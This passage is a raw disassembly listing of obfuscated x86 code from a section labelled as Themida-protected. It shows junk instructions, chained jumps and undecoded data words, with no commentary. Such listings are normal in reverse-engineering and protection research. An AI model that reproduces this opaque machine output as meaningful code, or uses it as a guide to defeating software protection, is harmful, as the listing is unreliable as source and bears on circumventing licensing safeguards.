0FFh ; --------------------------------------------------------------------------- loc_593DBD: ; CODE XREF: Themida_:loc_596DFBj jmp loc_58B6D5 ; --------------------------------------------------------------------------- loc_593DC2: ; CODE XREF: Themida_:0058F71Ej xor edi, 0ECF770Eh mov ebp, edi pop edi push esi jmp loc_58D888 ; --------------------------------------------------------------------------- loc_593DD1: ; CODE XREF: Themida_:0059800Fj mov ebp, 1E9F4271h jmp loc_58F64A ; --------------------------------------------------------------------------- loc_593DDB: ; CODE XREF: Themida_:00590FC7j mov ecx, [esp] add esp, 4 push 0C10h mov [esp], esi jmp loc_5958D1 ; --------------------------------------------------------------------------- word_593DEE dw 248Bh ; DATA XREF: Themida_:0058B24Co dd 0A876E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593DF6: ; CODE XREF: Themida_:00593540j sub bh, 2Fh jmp loc_59277A ; --------------------------------------------------------------------------- loc_593DFE: ; CODE XREF: Themida_:0058E771j push dword ptr [esp+4] jmp loc_58C64A ; --------------------------------------------------------------------------- loc_593E07: ; CODE XREF: Themida_:0058BC75j and esi, 68CA4C67h jmp loc_5942D5 ; --------------------------------------------------------------------------- dw 0E801h dd 0FFCD0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_593E19: ; CODE XREF: Themida_:0058BFB4j xor edi, 69A0640Ah xor edi, 0E75B0E27h sub ebx, edi jmp loc_5912E6 ; --------------------------------------------------------------------------- loc_593E2C: ; CODE XREF: Themida_:005900B5j pop ecx push ecx mov ecx, esp add ecx, 4 jmp loc_597887 ; --------------------------------------------------------------------------- db 4Bh dd 8AC3814Bh, 87196E38h, 7B2CE9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593E4A: ; CODE XREF: Themida_:00590B69j inc eax jge loc_593C59 sub eax, 14C83538h sub eax, 117714FEh mov bl, 0CEh mov ch, 4Fh loc_593E5F: ; CODE XREF: Themida_:0058DFC3j mov ebx, 4 add esi, ebx jmp loc_590A19 ; --------------------------------------------------------------------------- byte_593E6B db 66h ; DATA XREF: Themida_:0058B16Co dd 5224048Bh, 0E950E289h, 0FFFFF511h ; --------------------------------------------------------------------------- loc_593E78: ; CODE XREF: Themida_:005948CDj mov ecx, 24h add ecx, 0DC60253h sub ecx, 3EBC0EBFh add ecx, edi add ecx, 3EBC0EBFh sub ecx, 0DC60253h push ebp jmp loc_596149 ; --------------------------------------------------------------------------- loc_593E9D: ; CODE XREF: Themida_:0058BC11j mov al, 0C8h xor al, 29h push ebx mov bh, al mov cl, bh pop ebx push dword ptr [esp] push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 jmp loc_58FD6C ; --------------------------------------------------------------------------- loc_593EBC: ; CODE XREF: Themida_:0058C3EAj xchg ebp, [esp] mov esp, [esp] test ecx, eax pushf jmp loc_59186E ; --------------------------------------------------------------------------- loc_593ECA: ; CODE XREF: Themida_:00597136j push esp pop edx jmp loc_58D216 ; --------------------------------------------------------------------------- loc_593ED1: ; CODE XREF: Themida_:0058D724j and bh, 22h add bh, 4Fh neg bh jmp loc_5961BB ; --------------------------------------------------------------------------- loc_593EDE: ; CODE XREF: Themida_:00594293j sub ebp, 622B548Bh mov ebx, [esp] add esp, 4 add ebp, esi sub ebp, 4A8F2C5Bh jmp loc_58F1C1 ; --------------------------------------------------------------------------- loc_593EFA: ; CODE XREF: Themida_:00592C5Fj xchg ecx, [esp] jmp loc_597631 ; --------------------------------------------------------------------------- loc_593F02: ; CODE XREF: Themida_:00591059j push ebx push eax mov eax, 1E694626h or eax, 383B0D2Dh shl eax, 8 js loc_591033 sub eax, 259B02Ch mov ebx, eax pop eax jmp loc_597D7A ; --------------------------------------------------------------------------- loc_593F24: ; CODE XREF: Themida_:00594D29j xchg esi, [esp] jmp loc_5950CB ; --------------------------------------------------------------------------- dd 4C481h, 0BB530000h, 4, 0B875A22Dh, 5D80116h, 16B875A2h dd 3457685Bh, 0C890000h, 4B924h, 0C8010000h, 0FFB92DE9h db 0FFh ; --------------------------------------------------------------------------- loc_593F59: ; CODE XREF: Themida_:0058D79Bj xor [esp], esi xor esi, [esp] pop esp mov [esp], edi jmp loc_58BDA9 ; --------------------------------------------------------------------------- loc_593F68: ; CODE XREF: Themida_:0058FB9Aj push 3667h mov [esp], ebp push esp mov ebp, [esp] add esp, 4 push edi mov edi, 4 add ebp, edi pop edi push edx mov edx, 67010A70h shr edx, 5 jz loc_58B61D xor edx, 36793F3Fh jge loc_592F34 push esi jmp loc_5927FA ; --------------------------------------------------------------------------- dd 727119BEh, 0B2BB506Ch, 1090319h, 5B04245Ch, 74E5E951h dd 8BBFFFFFh, 8157DA5Eh, 8F596EEFh, 19EAE94Eh, 0D6090000h dd 0FFEFA5E9h db 0FFh ; --------------------------------------------------------------------------- loc_593FD1: ; CODE XREF: Themida_:00594B52j sub edi, esi add edi, 11A20492h mov esi, [esp] add esp, 4 retn ; --------------------------------------------------------------------------- dd 0FF7396E9h, 8BF101FFh, 46682434h, 0E900007Fh, 0FFFF977Ah ; --------------------------------------------------------------------------- loc_593FF4: ; CODE XREF: Themida_:005980DFj add edi, 4 push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp] jmp loc_59399E ; --------------------------------------------------------------------------- loc_59400B: ; CODE XREF: Themida_:00595E34j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594021: ; CODE XREF: Themida_:00596DBDj add ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp shl dword ptr [esp], cl jmp loc_58B37B ; --------------------------------------------------------------------------- word_594036 dw 77FFh ; DATA XREF: Themida_:0058B2C0o dd 59669D1Ch, 9C241CD2h, 0FF7336E9h db 0FFh ; --------------------------------------------------------------------------- loc_594045: ; CODE XREF: Themida_:005956BAj sub edx, esi xchg edx, esi pop edx sub esi, 768481Fh sub esi, 0E4323218h jmp loc_58B427 ; --------------------------------------------------------------------------- loc_59405B: ; CODE XREF: Themida_:0058F1C4j pop esi add esp, 4 dec ebp inc ebp jmp loc_5964D5 ; --------------------------------------------------------------------------- loc_594069: ; CODE XREF: Themida_:00596843j xchg esi, [esp] jmp loc_591323 ; --------------------------------------------------------------------------- loc_594071: ; CODE XREF: Themida_:0058C67Cj xchg ebp, [esp] mov esp, [esp] jmp loc_58DDEF ; --------------------------------------------------------------------------- loc_59407C: ; CODE XREF: Themida_:00597E29j mov edx, 4 sub esi, edx pop edx xchg esi, [esp] mov esp, [esp] mov [esp], ebx mov ecx, [esp] add esp, 4 push ecx jmp loc_5979F6 ; --------------------------------------------------------------------------- dword_59409C dd 592434FFh, 7C4768h, 24048900h, 405E089h, 56000000h ; DATA XREF: Themida_:0058B22Co dd 185BE9h, 8BFB0100h, 0C481243Ch, 4, 193568h, 240C8900h dd 2B9h, 59CB2900h, 8B241C87h, 89662424h, 9CE92404h, 8BFFFF72h dd 0C483243Ch, 4C48104h, 0E9000000h, 0FFFFB379h ; --------------------------------------------------------------------------- loc_5940F0: ; CODE XREF: Themida_:0058EF64j jmp loc_594962 ; --------------------------------------------------------------------------- loc_5940F5: ; CODE XREF: Themida_:0058B609j jmp loc_58B37B ; --------------------------------------------------------------------------- dw 0C281h dd 4, 5C241487h, 0FF1C5F09h, 835B2434h, 68E904C4h, 53FFFF72h dd 0C381E389h, 4, 4C381h, 0D3E90000h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594127: ; CODE XREF: Themida_:0058B3FDj mov [esp], ax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594130: ; CODE XREF: Themida_:0058BADDj mov [esp], ebx mov bl, 0B7h add cl, 0F8h jmp loc_594FB8 ; --------------------------------------------------------------------------- db 58h, 0F7h, 0D8h dd 1300890Fh, 2D0000h, 89E980ECh, 40E958C1h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594153: ; CODE XREF: Themida_:005947ECj sub ebx, 352833DFh jl loc_5941D3 add ebx, 71454330h mov ecx, ebx pop ebx sub al, 0FFh loc_59416A: ; CODE XREF: Themida_:0058D363j ; Themida_:loc_597882j sub cl, 5Ch jmp loc_594CB5 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BD242C89h, 16CC48A0h, 0FF8130E9h, 7AEB81FFh, 0E919CB58h dd 3562h ; --------------------------------------------------------------------------- loc_594190: ; CODE XREF: Themida_:005947DBj push ebx push edx jmp loc_593D62 ; --------------------------------------------------------------------------- db 0Fh dd 71F84h, 0D552E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5941A2: ; CODE XREF: Themida_:005919F3j mov ax, [esp] push 2227h mov [esp], edx push 6DC4h mov [esp], esp jmp loc_58F59D ; --------------------------------------------------------------------------- db 0F6h dd 33F4E9D8h, 800F0000h, 418Ah, 0F242E981h, 0D9E99336h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5941D3: ; CODE XREF: Themida_:00594159j add ebx, 71454330h mov ecx, ebx pop ebx jmp loc_59816F ; --------------------------------------------------------------------------- byte_5941E1 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0058B118o dd 4EC8158h, 89000000h, 1B682404h, 89000042h, 4812424h dd 424h, 24048B00h, 0FFFD27E9h db 0FFh byte_594205 db 0ADh, 0E9h, 0A5h ; DATA XREF: Themida_:0058B2B8o db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59420B: ; CODE XREF: Themida_:0059393Cj ; Themida_:00597367j push edx sub esp, 4 mov [esp], ecx push 6F5B747Fh mov ecx, [esp] add esp, 4 not ecx xchg edi, ecx jmp loc_595607 ; --------------------------------------------------------------------------- loc_594229: ; CODE XREF: Themida_:0058E5BAj pop ebp jmp loc_58BC7A ; --------------------------------------------------------------------------- loc_59422F: ; CODE XREF: Themida_:00596E1Bj add esp, 4 sub esp, 4 mov [esp], eax push esi mov esi, 152A31EEh push esi mov esi, 51455CDEh mov eax, esi pop esi xor eax, esi mov esi, [esp] push ebx jmp loc_5957A5 ; --------------------------------------------------------------------------- loc_594252: ; CODE XREF: Themida_:0058E5F0j push 2EF7h mov [esp], esi push 4 jmp loc_595E28 ; --------------------------------------------------------------------------- dd 241C3359h, 0E9241C31h, 0FFFF8AF3h, 5E2414F7h, 7B8EE946h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59427A: ; CODE XREF: Themida_:00594738j shr ebx, 1 push edi mov edi, 37766A0Fh or ebx, edi pop edi add ebx, 0A902C5Ch add ebp, 622B548Bh add ebp, ebx jmp loc_593EDE ; --------------------------------------------------------------------------- loc_594298: ; CODE XREF: Themida_:0059032Ej sub eax, 4F8B3455h pop ebx xor ebx, eax pop dword ptr [eax] jmp loc_5953D0 ; --------------------------------------------------------------------------- byte_5942A7 db 0ADh ; DATA XREF: Themida_:0058B2B0o dd 4EE95651h, 56FFFFC6h, 4BD55h, 0EE890000h, 5EF7015Dh dd 0EA0DE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5942C2: ; CODE XREF: Themida_:0058E15Cj push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_597009 ; --------------------------------------------------------------------------- loc_5942D5: ; CODE XREF: Themida_:00593E0Dj inc esi push ecx mov ecx, 0D2D9F070h sub esi, ecx pop ecx jmp loc_597B0B ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add edx, 2 xchg edx, [esp] pop esp mov ax, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 push ebx push 2206h mov [esp], edi mov edi, 2 push edi pop ebx jmp loc_58E38A ; --------------------------------------------------------------------------- loc_594322: ; CODE XREF: Themida_:005950C6j add ebx, eax pop eax sub esp, 4 mov [esp], eax mov eax, 1 add [ebx], eax pop eax push dword ptr [esp] pop ebx add esp, 4 loc_59433D: ; CODE XREF: Themida_:0058E400j push 6DF2h mov [esp], ecx sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], eax jmp loc_58BFB9 ; --------------------------------------------------------------------------- byte_594359 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0058B1ACo dd 50240C8Bh, 1AF6E9h, 0C0B60F00h, 0FF8734FFh, 68582434h dd 4A27h, 68243C89h, 4715h, 24048F54h, 4240483h, 4C7815Fh dd 83000000h, 48904ECh, 2915B824h, 0E8C13605h, 4A413502h dd 0C7010D81h, 243C3358h, 0BA4E9h, 53F80000h, 0DC2C74B3h dd 0DC04D800h, 290DE9h, 24043300h, 0FFD6C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5943C1: ; CODE XREF: Themida_:0059161Fj push 24D5h mov [esp], edi push 26BE48B7h jmp loc_58EF5D ; --------------------------------------------------------------------------- db 83h dd 2C3304C5h, 242C3124h, 0C93E9h db 0 ; --------------------------------------------------------------------------- loc_5943E1: ; CODE XREF: Themida_:005932D6j push ax inc byte ptr [esp] pop ax sub al, 0EBh add al, 0DFh sub al, 0D9h jmp loc_5978CA ; --------------------------------------------------------------------------- db 53h dd 0B36C44BBh, 5BDF3157h, 81242C8Bh, 4C4h, 5FF80100h, 4EC81h dd 34890000h, 4EC8324h, 0FFD17FE9h db 0FFh ; --------------------------------------------------------------------------- loc_594419: ; CODE XREF: Themida_:005955BCj pop dword ptr [edi+24h] loc_59441C: ; CODE XREF: Themida_:0058E351j sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_590564 ; --------------------------------------------------------------------------- loc_594438: ; CODE XREF: Themida_:0058F3B6j push esi mov esi, 4707615h mov ebp, esi pop esi inc ebp jp loc_58FBF2 add ebp, 18120B05h jg loc_593C54 jmp loc_5957EB ; --------------------------------------------------------------------------- db 2Dh, 38h, 35h dd 0E88A14C8h, 489DD88h, 2474FF24h, 24048B04h, 8F04C483h dd 84E92404h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_594477: ; CODE XREF: Themida_:00594924j add eax, 1456CAF5h add ebp, eax pop eax add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] inc dword ptr [esp] pushf jmp loc_58B37B ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 240C895Ch, 92534CB9h, 0ACB8BF0Ch, 0CF01F36Dh, 81240C8Bh dd 4C4h, 0FC03E900h, 515EFFFFh, 0C181E189h, 4, 8704C183h dd 515C240Ch, 0A16EADB9h, 1EB1E923h, 0A8E90000h, 50FFFF6Eh dd 0C13001B0h, 0E9862C58h, 216h ; --------------------------------------------------------------------------- loc_5944E0: ; CODE XREF: Themida_:005923B3j add al, cl add al, 32h mov ecx, [esp] add esp, 4 push 4142h jmp loc_58DA03 ; --------------------------------------------------------------------------- loc_5944F4: ; CODE XREF: Themida_:0059306Aj mov [esp], esi pop ebx pop esi sub esp, 4 jmp loc_5929C3 ; --------------------------------------------------------------------------- dd 6BF768h, 1F8CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59450E: ; CODE XREF: Themida_:005950D2j add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] sub eax, 3D0644F2h jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594530: ; CODE XREF: Themida_:0058FB14j jbe loc_58DD2A jmp loc_594CF3 ; --------------------------------------------------------------------------- db 68h dd 59Ah, 50241489h, 0B1518EB0h, 3A51E994h, 565B0000h, 4C16B850h dd 0C68902ADh, 0ECC68158h, 1FD52B3h, 0C875EF1h, 0A4FCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59456A: ; CODE XREF: Themida_:0058FBFEj ; Themida_:00591116j sub ebp, 2BE956F0h jmp loc_58D257 ; --------------------------------------------------------------------------- loc_594575: ; CODE XREF: Themida_:0058F80Dj sub ecx, 0A9F7190Ah mov edi, ecx pop ecx shl edi, 5 add edi, 0FD03EF9Ah or ebx, edi mov edi, [esp] jmp loc_59775C ; --------------------------------------------------------------------------- db 53h, 83h, 0ECh dd 240C8904h, 0FFAC9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_59459D: ; CODE XREF: Themida_:0058ECDBj dec ebp jmp loc_58DFE5 ; --------------------------------------------------------------------------- db 28h dd 8B3F04F0h, 0C4812414h, 4, 6868D800h, 8900007Dh, 16E9240Ch db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5945BF: ; CODE XREF: Themida_:00590209j pop esp sub bl, 0C9h push 187Dh mov [esp], ecx sub esp, 4 mov [esp], ebx mov bh, 76h jmp loc_595FBF ; --------------------------------------------------------------------------- loc_5945D8: ; CODE XREF: Themida_:0058F426j push esp push dword ptr [esp] pop edx jmp loc_58D10E ; --------------------------------------------------------------------------- dw 0C583h dd 242C8704h, 27E9575Ch, 0F7FFFF82h, 5DE981D1h, 0E9A2E71Ah dd 105Fh ; --------------------------------------------------------------------------- loc_5945FC: ; CODE XREF: Themida_:00592C21j add ebp, edi mov edi, [esp] add esp, 4 add ebp, 2 xchg ebp, [esp] pop esp btr [esp], ax pushf jmp loc_590A14 ; --------------------------------------------------------------------------- dw 814Eh dd 0C76162C6h, 0EE814647h, 6C6F4ADEh, 2194F681h, 0F20134A8h dd 0FF7314E9h db 0FFh ; --------------------------------------------------------------------------- loc_594631: ; CODE XREF: Themida_:0058F9ECj ; Themida_:0059645Ej add eax, 0E120F20Fh mov ecx, eax pop eax mov edi, ecx pop ecx shl edi, 1 dec edi dec edi push ebx mov ebx, 0FFFFFFFFh sub edi, ebx pop ebx push edi jmp loc_58FCC2 ; --------------------------------------------------------------------------- db 4Eh dd 0FFD0C2E9h, 5BDA30FFh, 535AD100h, 0F888CF88h, 9334595Bh dd 8D4D860Fh, 0D0F6FFFFh, 0F03E8C0h, 0FFF34688h, 0BC6BE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59467A: ; CODE XREF: Themida_:00597BAFj add ecx, 4 jmp loc_595616 ; --------------------------------------------------------------------------- loc_594685: ; CODE XREF: Themida_:0058C0E7j pop edi pop ecx jmp loc_5946CD ; --------------------------------------------------------------------------- dd 0C300B504h, 1EB8058h, 9AB45051h, 0FEDAF480h, 1C8B0FC4h dd 0E9000010h, 0FFFFB629h ; --------------------------------------------------------------------------- loc_5946A8: ; CODE XREF: Themida_:00590759j add edx, ecx jmp loc_58B571 ; --------------------------------------------------------------------------- db 1 dd 25E95EF2h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5946B7: ; CODE XREF: Themida_:00596DF6j xor eax, ecx mov ecx, [esp] add esp, 4 push ecx push 4D045A8Fh jmp loc_590432 ; --------------------------------------------------------------------------- loc_5946CD: ; CODE XREF: Themida_:00594687j add ecx, 4 push ebp mov ebp, 71865027h sub ebp, 71865023h add ecx, ebp jmp loc_5969CC ; --------------------------------------------------------------------------- loc_5946E6: ; CODE XREF: Themida_:00597D5Bj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5946EB: ; CODE XREF: Themida_:00597375j xor ecx, 2600001Ah jmp loc_592219 ; --------------------------------------------------------------------------- dw 0C800h dd 81598604h, 4ECh, 241C8900h, 5FE909B3h, 80000035h, 0C1802FF1h dd 0E9CF2814h, 0FFFFF244h ; --------------------------------------------------------------------------- loc_594718: ; CODE XREF: Themida_:00590F59j neg bl dec bl not bl jmp loc_59269D ; --------------------------------------------------------------------------- loc_594723: ; CODE XREF: Themida_:00592CB5j push esi mov esi, 598518BFh mov ebx, esi pop esi or ebx, 18FC690Ch or ebx, 0CE5367Fh jmp loc_59427A ; --------------------------------------------------------------------------- loc_59473D: ; CODE XREF: Themida_:0058D899j xchg eax, [esp] pop esp mov [esp], ecx jmp loc_58D282 ; --------------------------------------------------------------------------- loc_594749: ; CODE XREF: Themida_:00593C4Fj sub ebx, edi pop edi sub ecx, ebx mov ebx, [esp] push ebx jmp loc_58CDFE ; --------------------------------------------------------------------------- loc_594757: ; CODE XREF: Themida_:0058D511j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push ebp push ebx jmp loc_58B549 ; --------------------------------------------------------------------------- loc_594772: ; CODE XREF: Themida_:005959DEj push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] jmp loc_5949E5 ; --------------------------------------------------------------------------- dword_594780 dd 24048B66h, 0EA868h, 24148900h, 0C868E289h, 89000073h ; DATA XREF: Themida_:0058B310o dd 0E951243Ch, 1084h, 0E924048Bh, 0FFFF7919h, 0FBE9D029h dd 1000001h, 242C8BEAh, 8104C483h, 8C1089EAh, 0B86E969h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5947BE: ; CODE XREF: Themida_:00594C9Fj mov ebp, 35DA6E3Eh or ebp, 79A764AAh sub esp, 4 jmp loc_59270A ; --------------------------------------------------------------------------- loc_5947D1: ; CODE XREF: Themida_:005967E5j xor bh, 0DDh xor cl, bh pop ebx xor al, cl pop ecx push edx jmp loc_594190 ; --------------------------------------------------------------------------- loc_5947E0: ; CODE XREF: Themida_:0058C424j xor ebx, 4F201910h sub ebx, 0FFFFFFFFh shr ebx, 4 jmp loc_594153 ; --------------------------------------------------------------------------- loc_5947F1: ; CODE XREF: Themida_:005933E1j pop ecx push 2EB5h mov [esp], edx mov edx, 38512921h sub edx, 3851291Dh add ecx, edx pop edx push edi jmp loc_596962 ; --------------------------------------------------------------------------- loc_59480E: ; CODE XREF: Themida_:00596C51j inc esi jmp loc_58FDC9 ; --------------------------------------------------------------------------- dd 4C281h, 0E9570000h, 0FFFFE266h, 2904C483h, 240C8BC8h dd 0E904C483h, 2099h, 4C181h, 0C1830000h, 240C8704h, 2C0835Ch dd 0FFA003E9h db 0FFh ; --------------------------------------------------------------------------- loc_594845: ; CODE XREF: Themida_:0058DC3Dj jmp loc_590321 ; --------------------------------------------------------------------------- loc_59484A: ; CODE XREF: Themida_:0058BDEBj add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_58B987 ; --------------------------------------------------------------------------- dd 5124148Bh, 0C181E189h, 4, 4C181h, 0C330000h, 240C3124h dd 0FFA0EEE9h, 4C483FFh, 0D7E9C301h db 0EFh, 2 dup(0FFh) byte_594883 db 8Bh ; DATA XREF: Themida_:0058B1B8o dd 0EC832404h, 24348904h, 714E9h, 0BD555B00h, 4, 0E95DEB01h dd 0FFFFD08Ah, 2414F753h, 0ABF3815Bh, 0F430C39h, 0FFEB9C81h dd 0FDBF7FFh, 0FFDBB28Eh, 5B0C43FFh, 1937E9h db 0 ; --------------------------------------------------------------------------- loc_5948C1: ; CODE XREF: Themida_:0058B8A5j or edx, eax shl edx, 1 push 48D4h mov [esp], ecx jmp loc_593E78 ; --------------------------------------------------------------------------- loc_5948D2: ; CODE XREF: Themida_:00592237j mov esi, ebx mov eax, esi push dword ptr [esp] mov esi, [esp] jmp loc_58D700 ; --------------------------------------------------------------------------- loc_5948E1: ; CODE XREF: Themida_:005925E0j neg ebx dec ebx xor ebx, 157E69D7h push edi mov edi, 15391472h xor ebx, edi pop edi add ebx, 1CB43435h add eax, ebx pop ebx xchg eax, [esp] pop esp push edi jmp loc_594940 ; --------------------------------------------------------------------------- loc_594906: ; CODE XREF: Themida_:0058B78Cj xor ebp, edx pop edx dec ebp and ebp, 2527445Bh or ebp, 568C18A3h neg ebp or ebp, 1D7F2D44h push eax mov eax, 4E2945C2h jmp loc_594477 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0D10056B2h, 8124148Bh, 4C4h, 0E9C82800h, 0CC1h ; --------------------------------------------------------------------------- loc_594940: ; CODE XREF: Themida_:00594901j mov edi, 6CED02F9h add ebx, edi jmp loc_595AB4 ; --------------------------------------------------------------------------- loc_59494C: ; CODE XREF: Themida_:0058D7D2j push ebx xor dword ptr [esp], 2D2B71E3h jmp loc_592E34 ; --------------------------------------------------------------------------- db 0D2h, 2Ch, 24h dd 0BC43E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594962: ; CODE XREF: Themida_:loc_5940F0j sub edi, 314C34BCh mov ebx, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_595C0C ; --------------------------------------------------------------------------- loc_594979: ; CODE XREF: Themida_:0058C688j xchg esi, [esp] mov esp, [esp] mov ecx, [esp] jmp loc_593D93 ; --------------------------------------------------------------------------- loc_594987: ; CODE XREF: Themida_:0058F926j sub ebp, 0FF7D7ECDh sub edx, 53815C19h add edx, ebp add edx, 53815C19h mov ebp, [esp] add esp, 4 jmp loc_58FB90 ; --------------------------------------------------------------------------- dw 315Ah dd 8419E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5949AE: ; CODE XREF: Themida_:0058B6DBj ; Themida_:0058F353j mov ebx, edx push dword ptr [esp] pop edx add esp, 4 xor esi, ebx mov ebx, [esp] add esp, 4 and ecx, esi push dword ptr [esp] jmp loc_58D19A ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4C581h, 2C330000h, 242C3124h, 931E9h db 0 ; --------------------------------------------------------------------------- loc_5949E5: ; CODE XREF: Themida_:0059477Bj mov eax, [esp] push ebp jmp loc_594F98 ; --------------------------------------------------------------------------- dw 3505h dd 15E827Dh, 0B212E9F8h, 0FD00FFFFh, 0C063B252h, 0CAFE03EAh dd 8602EAC0h, 86D4F6E2h, 3271E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594A12: ; CODE XREF: Themida_:0058EB7Ej push 7C72h mov [esp], ebx mov bh, 9Ah xor cl, bh pop ebx dec cl sub esp, 4 mov [esp], ebx jmp loc_58C2F7 ; --------------------------------------------------------------------------- aRs2 db 'RИ',0Bh,'2',0 dd 0FAC38000h, 45BD930h, 2CC828BDh, 6859BDh, 89000038h dd 24B5240Ch, 0FE5CB753h, 1CC780CFh, 329CE9h db 0 ; --------------------------------------------------------------------------- loc_594A59: ; CODE XREF: Themida_:00593715j mov ebp, 2 mov edx, ebp pop ebp jmp loc_58BEFC ; --------------------------------------------------------------------------- loc_594A66: ; CODE XREF: Themida_:005928FAj mov [esp], ecx push 800h jmp loc_5929B7 ; --------------------------------------------------------------------------- loc_594A73: ; CODE XREF: Themida_:00593785j mov ebp, 4 add edx, 74AB09ACh add edx, ebp sub edx, 74AB09ACh pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_5920D5 ; --------------------------------------------------------------------------- loc_594A98: ; CODE XREF: Themida_:00591757j pop ecx sub edx, 0FFFFFFFFh jmp loc_5973C8 ; --------------------------------------------------------------------------- loc_594AA1: ; CODE XREF: Themida_:0059803Cj add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] or eax, eax jnz loc_58D266 push ecx push edi push eax mov eax, 768E2DBDh and eax, 2140FB1h sub eax, 672F230Dh jz loc_593D22 not eax jmp loc_58E8F2 ; --------------------------------------------------------------------------- loc_594ADA: ; CODE XREF: Themida_:00595C15j jmp loc_58B37B ; --------------------------------------------------------------------------- db 5Ch dd 0E9242C89h, 0FFFF9128h ; --------------------------------------------------------------------------- loc_594AE8: ; CODE XREF: Themida_:00591521j sub esp, 4 mov [esp], esi not dword ptr [esp] pop esi jmp loc_59865E ; --------------------------------------------------------------------------- loc_594AFA: ; CODE XREF: Themida_:0058EBADj dec ch push dx push cx mov cl, 0C0h mov dh, cl jmp loc_58DF5A ; --------------------------------------------------------------------------- loc_594B09: ; CODE XREF: Themida_:00590767j mov [esp], esp add dword ptr [esp], 4 pop ebp push esi jmp loc_59215C ; --------------------------------------------------------------------------- loc_594B1A: ; CODE XREF: Themida_:005924C2j mov bl, 67h shr bl, 8 js loc_59805C jmp loc_59622D ; --------------------------------------------------------------------------- dw 0A1E9h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594B2F: ; CODE XREF: Themida_:loc_595330j inc ebx jge loc_58E0B7 jmp loc_58EBC7 ; --------------------------------------------------------------------------- loc_594B3B: ; CODE XREF: Themida_:0059681Fj xor edx, 878AFEFCh add edi, edx pop edx sub edi, edx sub edi, 6037A17h mov edx, [esp] add esp, 4 jmp loc_593FD1 ; --------------------------------------------------------------------------- byte_594B57 db 8Fh ; DATA XREF: Themida_:0058B210o dd 1CE94047h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594B5F: ; CODE XREF: Themida_:0058EC34j shr esi, 3 sub esp, 4 mov [esp], ebx push 5BB0170Dh pop ebx jmp loc_59679D ; --------------------------------------------------------------------------- loc_594B76: ; CODE XREF: Themida_:00593B71j or eax, ebx mov ebx, [esp] add esp, 4 jmp loc_593303 ; --------------------------------------------------------------------------- loc_594B86: ; CODE XREF: Themida_:00592EA8j mov eax, esp push ebp jmp loc_5974CA ; --------------------------------------------------------------------------- dw 489h dd 7752B824h, 0C28110CBh, 33CB776Ah, 0FF9288E9h, 148966FFh dd 247C3024h, 0A5DDE901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594BAE: ; CODE XREF: Themida_:00595F98j push ecx mov ecx, 7ECB54F7h and eax, ecx pop ecx xor eax, 4EB939FAh xor edi, eax pop eax push ecx mov ecx, 23760F20h shl ecx, 5 shl ecx, 2 and ecx, 8CE43ABh sub ecx, 42ED7154h jmp loc_591AA3 ; --------------------------------------------------------------------------- dword_594BDC dd 24048B66h, 3E3B68h, 24348900h, 24348B54h, 8104C483h ; DATA XREF: Themida_:0058B248o dd 4C6h, 0B9515500h, 2, 0FF9BA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_594C01: ; CODE XREF: Themida_:00593AD3j xor ah, 6Eh sub ch, ah pop eax sub ch, 0B7h sub bl, ch pop ecx jmp loc_596BDB ; --------------------------------------------------------------------------- loc_594C12: ; CODE XREF: Themida_:0058E88Aj push ebx mov ebx, 3079CF9Ch add esi, 